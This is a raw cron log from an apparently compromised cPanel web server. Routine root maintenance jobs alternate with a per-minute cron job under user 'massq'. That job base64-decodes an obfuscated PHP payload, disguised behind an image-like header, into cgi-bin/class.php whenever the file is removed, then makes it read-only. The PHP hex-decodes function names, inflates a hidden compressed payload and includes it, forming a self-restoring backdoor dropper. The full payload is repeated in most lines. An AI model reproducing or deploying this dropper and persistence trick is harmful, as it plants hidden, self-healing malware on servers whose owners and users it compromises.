Nov 10 14:09:01 server CROND[29208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:09:01 server CROND[29209]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 14:10:01 server CROND[29998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:10:01 server CROND[30000]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:10:01 server CROND[30002]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 14:10:01 server CROND[30003]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:11:01 server CROND[30961]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:12:01 server CROND[31949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:12:01 server CROND[31950]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 14:13:01 server CROND[32713]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:14:01 server CROND[1099]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:15:01 server CROND[1943]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:15:01 server CROND[1944]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:15:01 server CROND[1942]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:15:01 server CROND[1946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:16:01 server CROND[2917]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:17:01 server CROND[3723]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:18:01 server CROND[4540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:19:01 server CROND[5364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:20:01 server CROND[6201]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:20:01 server CROND[6200]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:20:01 server CROND[6204]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 14:20:01 server CROND[6205]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 14:20:01 server CROND[6206]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:21:01 server CROND[7068]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
